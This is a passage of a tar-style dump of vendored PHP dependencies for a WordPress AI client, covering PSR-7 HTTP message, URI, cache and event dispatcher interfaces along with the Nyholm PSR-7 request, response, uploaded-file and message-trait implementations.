     * @throws \InvalidArgumentException If the file resource is not readable.
     */
    public function createUploadedFile(StreamInterface $stream, ?int $size = null, int $error = \UPLOAD_ERR_OK, ?string $clientFilename = null, ?string $clientMediaType = null): UploadedFileInterface;
}
third-party/Psr/Http/Message/RequestFactoryInterface.php000064400000001022152205304550017370 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

interface RequestFactoryInterface
{
    /**
     * Create a new request.
     *
     * @param string $method The HTTP method associated with the request.
     * @param UriInterface|string $uri The URI associated with the request. If
     *     the value is a string, the factory MUST create a UriInterface
     *     instance based on it.
     *
     * @return RequestInterface
     */
    public function createRequest(string $method, $uri): RequestInterface;
}
third-party/Psr/Http/Message/UriInterface.php000064400000031057152205304550015162 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

/**
 * Value object representing a URI.
 *
 * This interface is meant to represent URIs according to RFC 3986 and to
 * provide methods for most common operations. Additional functionality for
 * working with URIs can be provided on top of the interface or externally.
 * Its primary use is for HTTP requests, but may also be used in other
 * contexts.
 *
 * Instances of this interface are considered immutable; all methods that
 * might change state MUST be implemented such that they retain the internal
 * state of the current instance and return an instance that contains the
 * changed state.
 *
 * Typically the Host header will be also be present in the request message.
 * For server-side requests, the scheme will typically be discoverable in the
 * server parameters.
 *
 * @link http://tools.ietf.org/html/rfc3986 (the URI specification)
 */
interface UriInterface
{
    /**
     * Retrieve the scheme component of the URI.
     *
     * If no scheme is present, this method MUST return an empty string.
     *
     * The value returned MUST be normalized to lowercase, per RFC 3986
     * Section 3.1.
     *
     * The trailing ":" character is not part of the scheme and MUST NOT be
     * added.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-3.1
     * @return string The URI scheme.
     */
    public function getScheme(): string;
    /**
     * Retrieve the authority component of the URI.
     *
     * If no authority information is present, this method MUST return an empty
     * string.
     *
     * The authority syntax of the URI is:
     *
     * <pre>
     * [user-info@]host[:port]
     * </pre>
     *
     * If the port component is not set or is the standard port for the current
     * scheme, it SHOULD NOT be included.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-3.2
     * @return string The URI authority, in "[user-info@]host[:port]" format.
     */
    public function getAuthority(): string;
    /**
     * Retrieve the user information component of the URI.
     *
     * If no user information is present, this method MUST return an empty
     * string.
     *
     * If a user is present in the URI, this will return that value;
     * additionally, if the password is also present, it will be appended to the
     * user value, with a colon (":") separating the values.
     *
     * The trailing "@" character is not part of the user information and MUST
     * NOT be added.
     *
     * @return string The URI user information, in "username[:password]" format.
     */
    public function getUserInfo(): string;
    /**
     * Retrieve the host component of the URI.
     *
     * If no host is present, this method MUST return an empty string.
     *
     * The value returned MUST be normalized to lowercase, per RFC 3986
     * Section 3.2.2.
     *
     * @see http://tools.ietf.org/html/rfc3986#section-3.2.2
     * @return string The URI host.
     */
    public function getHost(): string;
    /**
     * Retrieve the port component of the URI.
     *
     * If a port is present, and it is non-standard for the current scheme,
     * this method MUST return it as an integer. If the port is the standard port
     * used with the current scheme, this method SHOULD return null.
     *
     * If no port is present, and no scheme is present, this method MUST return
     * a null value.
     *
     * If no port is present, but a scheme is present, this method MAY return
     * the standard port for that scheme, but SHOULD return null.
     *
     * @return null|int The URI port.
     */
    public function getPort(): ?int;
    /**
     * Retrieve the path component of the URI.
     *
     * The path can either be empty or absolute (starting with a slash) or
     * rootless (not starting with a slash). Implementations MUST support all
     * three syntaxes.
     *
     * Normally, the empty path "" and absolute path "/" are considered equal as
     * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically
     * do this normalization because in contexts with a trimmed base path, e.g.
     * the front controller, this difference becomes significant. It's the task
     * of the user to handle both "" and "/".
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.3.
     *
     * As an example, if the value should include a slash ("/") not intended as
     * delimiter between path segments, that value MUST be passed in encoded
     * form (e.g., "%2F") to the instance.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.3
     * @return string The URI path.
     */
    public function getPath(): string;
    /**
     * Retrieve the query string of the URI.
     *
     * If no query string is present, this method MUST return an empty string.
     *
     * The leading "?" character is not part of the query and MUST NOT be
     * added.
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.4.
     *
     * As an example, if a value in a key/value pair of the query string should
     * include an ampersand ("&") not intended as a delimiter between values,
     * that value MUST be passed in encoded form (e.g., "%26") to the instance.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.4
     * @return string The URI query string.
     */
    public function getQuery(): string;
    /**
     * Retrieve the fragment component of the URI.
     *
     * If no fragment is present, this method MUST return an empty string.
     *
     * The leading "#" character is not part of the fragment and MUST NOT be
     * added.
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.5.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.5
     * @return string The URI fragment.
     */
    public function getFragment(): string;
    /**
     * Return an instance with the specified scheme.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified scheme.
     *
     * Implementations MUST support the schemes "http" and "https" case
     * insensitively, and MAY accommodate other schemes if required.
     *
     * An empty scheme is equivalent to removing the scheme.
     *
     * @param string $scheme The scheme to use with the new instance.
     * @return static A new instance with the specified scheme.
     * @throws \InvalidArgumentException for invalid or unsupported schemes.
     */
    public function withScheme(string $scheme): UriInterface;
    /**
     * Return an instance with the specified user information.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified user information.
     *
     * Password is optional, but the user information MUST include the
     * user; an empty string for the user is equivalent to removing user
     * information.
     *
     * @param string $user The user name to use for authority.
     * @param null|string $password The password associated with $user.
     * @return static A new instance with the specified user information.
     */
    public function withUserInfo(string $user, ?string $password = null): UriInterface;
    /**
     * Return an instance with the specified host.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified host.
     *
     * An empty host value is equivalent to removing the host.
     *
     * @param string $host The hostname to use with the new instance.
     * @return static A new instance with the specified host.
     * @throws \InvalidArgumentException for invalid hostnames.
     */
    public function withHost(string $host): UriInterface;
    /**
     * Return an instance with the specified port.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified port.
     *
     * Implementations MUST raise an exception for ports outside the
     * established TCP and UDP port ranges.
     *
     * A null value provided for the port is equivalent to removing the port
     * information.
     *
     * @param null|int $port The port to use with the new instance; a null value
     *     removes the port information.
     * @return static A new instance with the specified port.
     * @throws \InvalidArgumentException for invalid ports.
     */
    public function withPort(?int $port): UriInterface;
    /**
     * Return an instance with the specified path.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified path.
     *
     * The path can either be empty or absolute (starting with a slash) or
     * rootless (not starting with a slash). Implementations MUST support all
     * three syntaxes.
     *
     * If the path is intended to be domain-relative rather than path relative then
     * it must begin with a slash ("/"). Paths not starting with a slash ("/")
     * are assumed to be relative to some base path known to the application or
     * consumer.
     *
     * Users can provide both encoded and decoded path characters.
     * Implementations ensure the correct encoding as outlined in getPath().
     *
     * @param string $path The path to use with the new instance.
     * @return static A new instance with the specified path.
     * @throws \InvalidArgumentException for invalid paths.
     */
    public function withPath(string $path): UriInterface;
    /**
     * Return an instance with the specified query string.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified query string.
     *
     * Users can provide both encoded and decoded query characters.
     * Implementations ensure the correct encoding as outlined in getQuery().
     *
     * An empty query string value is equivalent to removing the query string.
     *
     * @param string $query The query string to use with the new instance.
     * @return static A new instance with the specified query string.
     * @throws \InvalidArgumentException for invalid query strings.
     */
    public function withQuery(string $query): UriInterface;
    /**
     * Return an instance with the specified URI fragment.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified URI fragment.
     *
     * Users can provide both encoded and decoded fragment characters.
     * Implementations ensure the correct encoding as outlined in getFragment().
     *
     * An empty fragment value is equivalent to removing the fragment.
     *
     * @param string $fragment The fragment to use with the new instance.
     * @return static A new instance with the specified fragment.
     */
    public function withFragment(string $fragment): UriInterface;
    /**
     * Return the string representation as a URI reference.
     *
     * Depending on which components of the URI are present, the resulting
     * string is either a full URI or relative reference according to RFC 3986,
     * Section 4.1. The method concatenates the various components of the URI,
     * using the appropriate delimiters:
     *
     * - If a scheme is present, it MUST be suffixed by ":".
     * - If an authority is present, it MUST be prefixed by "//".
     * - The path can be concatenated without delimiters. But there are two
     *   cases where the path has to be adjusted to make the URI reference
     *   valid as PHP does not allow to throw an exception in __toString():
     *     - If the path is rootless and an authority is present, the path MUST
     *       be prefixed by "/".
     *     - If the path is starting with more than one "/" and no authority is
     *       present, the starting slashes MUST be reduced to one.
     * - If a query is present, it MUST be prefixed by "?".
     * - If a fragment is present, it MUST be prefixed by "#".
     *
     * @see http://tools.ietf.org/html/rfc3986#section-4.1
     * @return string
     */
    public function __toString(): string;
}
third-party/Psr/Http/Message/UriFactoryInterface.php000064400000000544152205304550016507 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

interface UriFactoryInterface
{
    /**
     * Create a new URI.
     *
     * @param string $uri
     *
     * @return UriInterface
     *
     * @throws \InvalidArgumentException If the given URI cannot be parsed.
     */
    public function createUri(string $uri = ''): UriInterface;
}
third-party/Psr/EventDispatcher/EventDispatcherInterface.php000064400000000717152205304550020277 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Psr\EventDispatcher;

/**
 * Defines a dispatcher for events.
 */
interface EventDispatcherInterface
{
    /**
     * Provide all relevant listeners with an event to process.
     *
     * @param object $event
     *   The object to process.
     *
     * @return object
     *   The Event that was passed, now modified by listeners.
     */
    public function dispatch(object $event);
}
third-party/Psr/SimpleCache/CacheInterface.php000064400000011030152205304550015265 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\SimpleCache;

interface CacheInterface
{
    /**
     * Fetches a value from the cache.
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws \Psr\SimpleCache\InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get($key, $default = null);
    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * @param string                 $key   The key of the item to store.
     * @param mixed                  $value The value of the item to store, must be serializable.
     * @param null|int|\DateInterval $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws \Psr\SimpleCache\InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set($key, $value, $ttl = null);
    /**
     * Delete an item from the cache by its unique key.
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws \Psr\SimpleCache\InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete($key);
    /**
     * Wipes clean the entire cache's keys.
     *
     * @return bool True on success and false on failure.
     */
    public function clear();
    /**
     * Obtains multiple cache items by their unique keys.
     *
     * @param iterable $keys    A list of keys that can obtained in a single operation.
     * @param mixed    $default Default value to return for keys that do not exist.
     *
     * @return iterable A list of key => value pairs. Cache keys that do not exist or are stale will have $default as value.
     *
     * @throws \Psr\SimpleCache\InvalidArgumentException
     *   MUST be thrown if $keys is neither an array nor a Traversable,
     *   or if any of the $keys are not a legal value.
     */
    public function getMultiple($keys, $default = null);
    /**
     * Persists a set of key => value pairs in the cache, with an optional TTL.
     *
     * @param iterable               $values A list of key => value pairs for a multiple-set operation.
     * @param null|int|\DateInterval $ttl    Optional. The TTL value of this item. If no value is sent and
     *                                       the driver supports TTL then the library may set a default value
     *                                       for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws \Psr\SimpleCache\InvalidArgumentException
     *   MUST be thrown if $values is neither an array nor a Traversable,
     *   or if any of the $values are not a legal value.
     */
    public function setMultiple($values, $ttl = null);
    /**
     * Deletes multiple cache items in a single operation.
     *
     * @param iterable $keys A list of string-based keys to be deleted.
     *
     * @return bool True if the items were successfully removed. False if there was an error.
     *
     * @throws \Psr\SimpleCache\InvalidArgumentException
     *   MUST be thrown if $keys is neither an array nor a Traversable,
     *   or if any of the $keys are not a legal value.
     */
    public function deleteMultiple($keys);
    /**
     * Determines whether an item is present in the cache.
     *
     * NOTE: It is recommended that has() is only to be used for cache warming type purposes
     * and not to be used within your live applications operations for get/set, as this method
     * is subject to a race condition where your has() will return true and immediately after,
     * another script can remove it making the state of your app out of date.
     *
     * @param string $key The cache item key.
     *
     * @return bool
     *
     * @throws \Psr\SimpleCache\InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function has($key);
}
third-party/Nyholm/Psr7/RequestTrait.php000064400000005741152205304550014271 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
 * @author Michael Dowling and contributors to guzzlehttp/psr7
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @internal should not be used outside of Nyholm/Psr7 as it does not fall under our BC promise
 */
trait RequestTrait
{
    /** @var string */
    private $method;
    /** @var string|null */
    private $requestTarget;
    /** @var UriInterface|null */
    private $uri;
    public function getRequestTarget(): string
    {
        if (null !== $this->requestTarget) {
            return $this->requestTarget;
        }
        if ('' === $target = $this->uri->getPath()) {
            $target = '/';
        }
        if ('' !== $this->uri->getQuery()) {
            $target .= '?' . $this->uri->getQuery();
        }
        return $target;
    }
    /**
     * @return static
     */
    public function withRequestTarget($requestTarget): RequestInterface
    {
        if (!\is_string($requestTarget)) {
            throw new \InvalidArgumentException('Request target must be a string');
        }
        if (\preg_match('#\s#', $requestTarget)) {
            throw new \InvalidArgumentException('Invalid request target provided; cannot contain whitespace');
        }
        $new = clone $this;
        $new->requestTarget = $requestTarget;
        return $new;
    }
    public function getMethod(): string
    {
        return $this->method;
    }
    /**
     * @return static
     */
    public function withMethod($method): RequestInterface
    {
        if (!\is_string($method)) {
            throw new \InvalidArgumentException('Method must be a string');
        }
        $new = clone $this;
        $new->method = $method;
        return $new;
    }
    public function getUri(): UriInterface
    {
        return $this->uri;
    }
    /**
     * @return static
     */
    public function withUri(UriInterface $uri, $preserveHost = \false): RequestInterface
    {
        if ($uri === $this->uri) {
            return $this;
        }
        $new = clone $this;
        $new->uri = $uri;
        if (!$preserveHost || !$this->hasHeader('Host')) {
            $new->updateHostFromUri();
        }
        return $new;
    }
    private function updateHostFromUri(): void
    {
        if ('' === $host = $this->uri->getHost()) {
            return;
        }
        if (null !== $port = $this->uri->getPort()) {
            $host .= ':' . $port;
        }
        if (isset($this->headerNames['host'])) {
            $header = $this->headerNames['host'];
        } else {
            $this->headerNames['host'] = $header = 'Host';
        }
        // Ensure Host is the first header.
        // See: http://tools.ietf.org/html/rfc7230#section-5.4
        $this->headers = [$header => [$host]] + $this->headers;
    }
}
third-party/Nyholm/Psr7/ServerRequest.php000064400000011715152205304550014452 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
 * @author Michael Dowling and contributors to guzzlehttp/psr7
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class ServerRequest implements ServerRequestInterface
{
    use MessageTrait;
    use RequestTrait;
    /** @var array */
    private $attributes = [];
    /** @var array */
    private $cookieParams = [];
    /** @var array|object|null */
    private $parsedBody;
    /** @var array */
    private $queryParams = [];
    /** @var array */
    private $serverParams;
    /** @var UploadedFileInterface[] */
    private $uploadedFiles = [];
    /**
     * @param string $method HTTP method
     * @param string|UriInterface $uri URI
     * @param array $headers Request headers
     * @param string|resource|StreamInterface|null $body Request body
     * @param string $version Protocol version
     * @param array $serverParams Typically the $_SERVER superglobal
     */
    public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1', array $serverParams = [])
    {
        $this->serverParams = $serverParams;
        if (!$uri instanceof UriInterface) {
            $uri = new Uri($uri);
        }
        $this->method = $method;
        $this->uri = $uri;
        $this->setHeaders($headers);
        $this->protocol = $version;
        \parse_str($uri->getQuery(), $this->queryParams);
        if (!$this->hasHeader('Host')) {
            $this->updateHostFromUri();
        }
        // If we got no body, defer initialization of the stream until ServerRequest::getBody()
        if ('' !== $body && null !== $body) {
            $this->stream = Stream::create($body);
        }
    }
    public function getServerParams(): array
    {
        return $this->serverParams;
    }
    public function getUploadedFiles(): array
    {
        return $this->uploadedFiles;
    }
    /**
     * @return static
     */
    public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface
    {
        $new = clone $this;
        $new->uploadedFiles = $uploadedFiles;
        return $new;
    }
    public function getCookieParams(): array
    {
        return $this->cookieParams;
    }
    /**
     * @return static
     */
    public function withCookieParams(array $cookies): ServerRequestInterface
    {
        $new = clone $this;
        $new->cookieParams = $cookies;
        return $new;
    }
    public function getQueryParams(): array
    {
        return $this->queryParams;
    }
    /**
     * @return static
     */
    public function withQueryParams(array $query): ServerRequestInterface
    {
        $new = clone $this;
        $new->queryParams = $query;
        return $new;
    }
    /**
     * @return array|object|null
     */
    public function getParsedBody()
    {
        return $this->parsedBody;
    }
    /**
     * @return static
     */
    public function withParsedBody($data): ServerRequestInterface
    {
        if (!\is_array($data) && !\is_object($data) && null !== $data) {
            throw new \InvalidArgumentException('First parameter to withParsedBody MUST be object, array or null');
        }
        $new = clone $this;
        $new->parsedBody = $data;
        return $new;
    }
    public function getAttributes(): array
    {
        return $this->attributes;
    }
    /**
     * @return mixed
     */
    public function getAttribute($attribute, $default = null)
    {
        if (!\is_string($attribute)) {
            throw new \InvalidArgumentException('Attribute name must be a string');
        }
        if (\false === \array_key_exists($attribute, $this->attributes)) {
            return $default;
        }
        return $this->attributes[$attribute];
    }
    /**
     * @return static
     */
    public function withAttribute($attribute, $value): ServerRequestInterface
    {
        if (!\is_string($attribute)) {
            throw new \InvalidArgumentException('Attribute name must be a string');
        }
        $new = clone $this;
        $new->attributes[$attribute] = $value;
        return $new;
    }
    /**
     * @return static
     */
    public function withoutAttribute($attribute): ServerRequestInterface
    {
        if (!\is_string($attribute)) {
            throw new \InvalidArgumentException('Attribute name must be a string');
        }
        if (\false === \array_key_exists($attribute, $this->attributes)) {
            return $this;
        }
        $new = clone $this;
        unset($new->attributes[$attribute]);
        return $new;
    }
}
third-party/Nyholm/Psr7/UploadedFile.php000064400000012650152205304550014167 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileInterface;
/**
 * @author Michael Dowling and contributors to guzzlehttp/psr7
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class UploadedFile implements UploadedFileInterface
{
    /** @var array */
    private const ERRORS = [\UPLOAD_ERR_OK => 1, \UPLOAD_ERR_INI_SIZE => 1, \UPLOAD_ERR_FORM_SIZE => 1, \UPLOAD_ERR_PARTIAL => 1, \UPLOAD_ERR_NO_FILE => 1, \UPLOAD_ERR_NO_TMP_DIR => 1, \UPLOAD_ERR_CANT_WRITE => 1, \UPLOAD_ERR_EXTENSION => 1];
    /** @var string */
    private $clientFilename;
    /** @var string */
    private $clientMediaType;
    /** @var int */
    private $error;
    /** @var string|null */
    private $file;
    /** @var bool */
    private $moved = \false;
    /** @var int */
    private $size;
    /** @var StreamInterface|null */
    private $stream;
    /**
     * @param StreamInterface|string|resource $streamOrFile
     * @param int $size
     * @param int $errorStatus
     * @param string|null $clientFilename
     * @param string|null $clientMediaType
     */
    public function __construct($streamOrFile, $size, $errorStatus, $clientFilename = null, $clientMediaType = null)
    {
        if (\false === \is_int($errorStatus) || !isset(self::ERRORS[$errorStatus])) {
            throw new \InvalidArgumentException('Upload file error status must be an integer value and one of the "UPLOAD_ERR_*" constants');
        }
        if (\false === \is_int($size)) {
            throw new \InvalidArgumentException('Upload file size must be an integer');
        }
        if (null !== $clientFilename && !\is_string($clientFilename)) {
            throw new \InvalidArgumentException('Upload file client filename must be a string or null');
        }
        if (null !== $clientMediaType && !\is_string($clientMediaType)) {
            throw new \InvalidArgumentException('Upload file client media type must be a string or null');
        }
        $this->error = $errorStatus;
        $this->size = $size;
        $this->clientFilename = $clientFilename;
        $this->clientMediaType = $clientMediaType;
        if (\UPLOAD_ERR_OK === $this->error) {
            // Depending on the value set file or stream variable.
            if (\is_string($streamOrFile) && '' !== $streamOrFile) {
                $this->file = $streamOrFile;
            } elseif (\is_resource($streamOrFile)) {
                $this->stream = Stream::create($streamOrFile);
            } elseif ($streamOrFile instanceof StreamInterface) {
                $this->stream = $streamOrFile;
            } else {
                throw new \InvalidArgumentException('Invalid stream or file provided for UploadedFile');
            }
        }
    }
    /**
     * @throws \RuntimeException if is moved or not ok
     */
    private function validateActive(): void
    {
        if (\UPLOAD_ERR_OK !== $this->error) {
            throw new \RuntimeException('Cannot retrieve stream due to upload error');
        }
        if ($this->moved) {
            throw new \RuntimeException('Cannot retrieve stream after it has already been moved');
        }
    }
    public function getStream(): StreamInterface
    {
        $this->validateActive();
        if ($this->stream instanceof StreamInterface) {
            return $this->stream;
        }
        if (\false === $resource = @\fopen($this->file, 'r')) {
            throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $this->file, \error_get_last()['message'] ?? ''));
        }
        return Stream::create($resource);
    }
    public function moveTo($targetPath): void
    {
        $this->validateActive();
        if (!\is_string($targetPath) || '' === $targetPath) {
            throw new \InvalidArgumentException('Invalid path provided for move operation; must be a non-empty string');
        }
        if (null !== $this->file) {
            $this->moved = 'cli' === \PHP_SAPI ? @\rename($this->file, $targetPath) : @\move_uploaded_file($this->file, $targetPath);
            if (\false === $this->moved) {
                throw new \RuntimeException(\sprintf('Uploaded file could not be moved to "%s": %s', $targetPath, \error_get_last()['message'] ?? ''));
            }
        } else {
            $stream = $this->getStream();
            if ($stream->isSeekable()) {
                $stream->rewind();
            }
            if (\false === $resource = @\fopen($targetPath, 'w')) {
                throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $targetPath, \error_get_last()['message'] ?? ''));
            }
            $dest = Stream::create($resource);
            while (!$stream->eof()) {
                if (!$dest->write($stream->read(1048576))) {
                    break;
                }
            }
            $this->moved = \true;
        }
    }
    public function getSize(): int
    {
        return $this->size;
    }
    public function getError(): int
    {
        return $this->error;
    }
    public function getClientFilename(): ?string
    {
        return $this->clientFilename;
    }
    public function getClientMediaType(): ?string
    {
        return $this->clientMediaType;
    }
}
third-party/Nyholm/Psr7/Response.php000064400000010357152205304550013432 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
/**
 * @author Michael Dowling and contributors to guzzlehttp/psr7
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class Response implements ResponseInterface
{
    use MessageTrait;
    /** @var array Map of standard HTTP status code/reason phrases */
    private const PHRASES = [100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-status', 208 => 'Already Reported', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Switch Proxy', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Unordered Collection', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Time-out', 505 => 'HTTP Version not supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 508 => 'Loop Detected', 511 => 'Network Authentication Required'];
    /** @var string */
    private $reasonPhrase = '';
    /** @var int */
    private $statusCode;
    /**
     * @param int $status Status code
     * @param array $headers Response headers
     * @param string|resource|StreamInterface|null $body Response body
     * @param string $version Protocol version
     * @param string|null $reason Reason phrase (when empty a default will be used based on the status code)
     */
    public function __construct(int $status = 200, array $headers = [], $body = null, string $version = '1.1', ?string $reason = null)
    {
        // If we got no body, defer initialization of the stream until Response::getBody()
        if ('' !== $body && null !== $body) {
            $this->stream = Stream::create($body);
        }
        $this->statusCode = $status;
        $this->setHeaders($headers);
        if (null === $reason && isset(self::PHRASES[$this->statusCode])) {
            $this->reasonPhrase = self::PHRASES[$status];
        } else {
            $this->reasonPhrase = $reason ?? '';
        }
        $this->protocol = $version;
    }
    public function getStatusCode(): int
    {
        return $this->statusCode;
    }
    public function getReasonPhrase(): string
    {
        return $this->reasonPhrase;
    }
    /**
     * @return static
     */
    public function withStatus($code, $reasonPhrase = ''): ResponseInterface
    {
        if (!\is_int($code) && !\is_string($code)) {
            throw new \InvalidArgumentException('Status code has to be an integer');
        }
        $code = (int) $code;
        if ($code < 100 || $code > 599) {
            throw new \InvalidArgumentException(\sprintf('Status code has to be an integer between 100 and 599. A status code of %d was given', $code));
        }
        $new = clone $this;
        $new->statusCode = $code;
        if ((null === $reasonPhrase || '' === $reasonPhrase) && isset(self::PHRASES[$new->statusCode])) {
            $reasonPhrase = self::PHRASES[$new->statusCode];
        }
        $new->reasonPhrase = $reasonPhrase;
        return $new;
    }
}
third-party/Nyholm/Psr7/Request.php000064400000002740152205304550013261 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class Request implements RequestInterface
{
    use MessageTrait;
    use RequestTrait;
    /**
     * @param string $method HTTP method
     * @param string|UriInterface $uri URI
     * @param array $headers Request headers
     * @param string|resource|StreamInterface|null $body Request body
     * @param string $version Protocol version
     */
    public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1')
    {
        if (!$uri instanceof UriInterface) {
            $uri = new Uri($uri);
        }
        $this->method = $method;
        $this->uri = $uri;
        $this->setHeaders($headers);
        $this->protocol = $version;
        if (!$this->hasHeader('Host')) {
            $this->updateHostFromUri();
        }
        // If we got no body, defer initialization of the stream until Request::getBody()
        if ('' !== $body && null !== $body) {
            $this->stream = Stream::create($body);
        }
    }
}
third-party/Nyholm/Psr7/MessageTrait.php000064400000016452152205304550014226 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\MessageInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
/**
 * Trait implementing functionality common to requests and responses.
 *
 * @author Michael Dowling and contributors to guzzlehttp/psr7
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @internal should not be used outside of Nyholm/Psr7 as it does not fall under our BC promise
 */
trait MessageTrait
{
    /** @var array Map of all registered headers, as original name => array of values */
    private $headers = [];
    /** @var array Map of lowercase header name => original name at registration */
    private $headerNames = [];
    /** @var string */
    private $protocol = '1.1';
    /** @var StreamInterface|null */
    private $stream;
    public function getProtocolVersion(): string
    {
        return $this->protocol;
    }
    /**
     * @return static
     */
    public function withProtocolVersion($version): MessageInterface
    {
        if (!\is_scalar($version)) {
            throw new \InvalidArgumentException('Protocol version must be a string');
        }
        if ($this->protocol === $version) {
            return $this;
        }
        $new = clone $this;
        $new->protocol = (string) $version;
        return $new;
    }
    public function getHeaders(): array
    {
        return $this->headers;
    }
